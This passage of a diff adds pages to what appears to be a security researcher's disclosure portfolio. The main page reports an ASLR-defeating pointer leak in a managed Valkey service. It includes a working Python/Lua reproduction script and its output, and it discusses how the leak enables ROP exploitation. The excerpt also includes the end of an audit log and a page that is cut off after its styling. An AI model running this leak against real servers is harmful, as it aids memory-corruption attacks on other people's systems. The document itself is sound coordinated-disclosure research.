| + | the hash loop. salt_size from RR parser, validated upstream. Tight.</li> | |
| + | </ul> | |
| + | <p>No finding. Remaining DNSSEC reading: NSEC3 search (1364), NSEC wildcard | |
| + | proofs (2013-2128). Lower-priority, expected to be control flow heavy | |
| + | but free of memory bugs given the parser-side bounds.</p> | |
| + | <p>Pivot for next iteration: build-fuzz2 (llvm-fuzz=true) is rebuilding 9 | |
| + | new harnesses (dhcp-server, dhcp6-client, journal-remote, ndisc-rs, | |
| + | lldp-rx, bus-message, json, link-parser, network-parser). Once built, | |
| + | launch in parallel with shared corpus seeded from test/fuzz/fuzz-X/.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · methodology/systemd-coredump-resolved-audit-log.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,284 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey | Zion Boggan</title> | |
| + | <meta name="description" content="ASLR leak through replication metadata."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/valkey-aslr-leak/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey | Zion Boggan"> | |
| + | <meta property="og:description" content="ASLR leak through replication metadata."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/valkey-aslr-leak/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey | Zion Boggan"> | |
| + | <meta name="twitter:description" content="ASLR leak through replication metadata."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey","description":"ASLR leak through replication metadata.","url":"https://zionboggan.com/security-research-notebook/valkey-aslr-leak/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Info disclosure</div> | |
| + | <h1>ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Summary</h2> | |
| + | <p>Any authenticated user on Aiven’s managed Valkey service can leak heap/code segment memory addresses of the <code>valkey-server</code> process by calling <code>tostring()</code> on Lua function objects within an <code>EVAL</code> script. The <code>redis</code> and <code>server</code> tables in the Lua scripting environment expose 12+ C function pointers via their string representations (e.g., <code>function: 0x7f76122ca790</code>). These addresses defeat Address Space Layout Randomization (ASLR) for the server process.</p> | |
| + | <p>While this is an information disclosure finding on its own, it directly enables exploitation of any memory corruption vulnerability (such as the previously reported RESTORE listpack assertion bug) by providing the attacker with precise memory layout information needed to build reliable exploits.</p> | |
| + | <h2>Affected Target</h2> | |
| + | <ul> | |
| + | <li><strong>Service:</strong> Aiven for Valkey (Tier 1)</li> | |
| + | <li><strong>Version tested:</strong> Valkey 8.1.4</li> | |
| + | <li><strong>Instance:</strong> <host>:26161</li> | |
| + | </ul> | |
| + | <h2>Severity</h2> | |
| + | <p><strong>P3, Information Disclosure</strong></p> | |
| + | <p><strong>VRT:</strong> Server Security Misconfiguration > Lack of Security Headers > Information Disclosure</p> | |
| + | <p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</code>, <strong>Score: 4.3 (Medium)</strong></p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <pre><code class="language-python">import redis | |
| + | ||
| + | r = redis.Redis( | |
| + | host="<host>", port=26161, username='default', password='<password>', | |
| + | ssl=True, ssl_cert_reqs='required', | |
| + | ssl_ca_certs='/etc/ssl/certs/ca-certificates.crt', | |
| + | decode_responses=True, socket_timeout=10 | |
| + | ) | |
| + | ||
| + | result = r.execute_command('EVAL', ''' | |
| + | local ptrs = {} | |
| + | for k,v in pairs(redis) do | |
| + | if type(v) == "function" then | |
| + | ptrs[#ptrs+1] = k .. "=" .. tostring(v) | |
| + | end | |
| + | end | |
| + | table.sort(ptrs) | |
| + | return ptrs | |
| + | ''', 0) | |
| + | ||
| + | for ptr in result: | |
| + | print(ptr) | |
| + | </code></pre> | |
| + | <p><strong>Actual output on Aiven:</strong></p> | |
| + | <pre><code>acl_check_cmd=function: 0x7f76122ca790 | |
| + | breakpoint=function: 0x7f76122ca9a0 | |
| + | call=function: 0x7f76122ca2b0 | |
| + | debug=function: 0x7f76122ca8c0 | |
| + | error_reply=function: 0x7f76122ca580 | |
| + | log=function: 0x7f76122ca700 | |
| + | pcall=function: 0x7f76122ca310 | |
| + | register_function=function: 0x7f76122cab90 | |
| + | replicate_commands=function: 0x7f76122caa30 | |
| + | set_repl=function: 0x7f76122ca640 | |
| + | sha1hex=function: 0x7f76122ca430 | |
| + | status_reply=function: 0x7f76122ca4d0 | |
| + | </code></pre> | |
| + | <p>These are actual virtual memory addresses of C functions in the <code>valkey-server</code> process. The addresses are in the <code>0x7f76122ca...</code> range, indicating they’re in a dynamically loaded library segment, consistent with the Valkey executable or a loaded shared library.</p> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>ASLR defeat:</strong> Address Space Layout Randomization is the primary defense against memory corruption exploitation on modern Linux. Leaking function pointers reveals the base address of the code segment, allowing an attacker to calculate the address of any function or gadget.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Exploitation enabler:</strong> Combined with any memory corruption primitive (buffer overflow, use-after-free, or assertion-reachable state), these addresses enable reliable ROP chain construction or function pointer overwrite attacks.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Process-level information:</strong> The leaked addresses persist across multiple EVAL calls, confirming they belong to the long-running server process (not a sandboxed child). A server restart randomizes the addresses (confirmed via previous crash tests).</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Additional info leaked via other commands:</strong>, <code>CLIENT LIST</code> reveals internal IPv6 address: <code>fda7:a938:5bfe:5fa6:0:5a8:649:f83d</code>, <code>MODULE LIST</code> reveals module path: <code>/usr/valkey-8.1/usr/lib64/modules/libjson.so</code>, <code>HELLO</code> reveals internal server configuration, <code>os.clock()</code> via Lua reveals process CPU time (1038+ seconds)</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Root Cause</h2> | |
| + | <p>Valkey’s Lua sandbox does not override the default <code>tostring()</code> behavior for C function objects. In standard Lua 5.1, <code>tostring()</code> on a C function returns <code>"function: 0x<address>"</code> where the address is the actual memory address of the C function. The sandbox should either: | |
| + | - Override <code>tostring()</code> to return opaque identifiers for function objects | |
| + | - Remove function pointer addresses from the string representation | |
| + | - Block <code>tostring()</code> on the <code>redis</code>/<code>server</code> table entries</p> | |
| + | <h2>Recommended Fix</h2> | |
| + | <p>Patch the Lua sandbox to override <code>tostring()</code> for function values, returning a non-address identifier (e.g., <code>"function: redis.call"</code> instead of <code>"function: 0x7f76122ca2b0"</code>).</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/valkey-aslr-leak.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,443 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey | Zion Boggan</title> | |
| + | <meta name="description" content="Valkey replication stealth path bypasses listpack validation."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
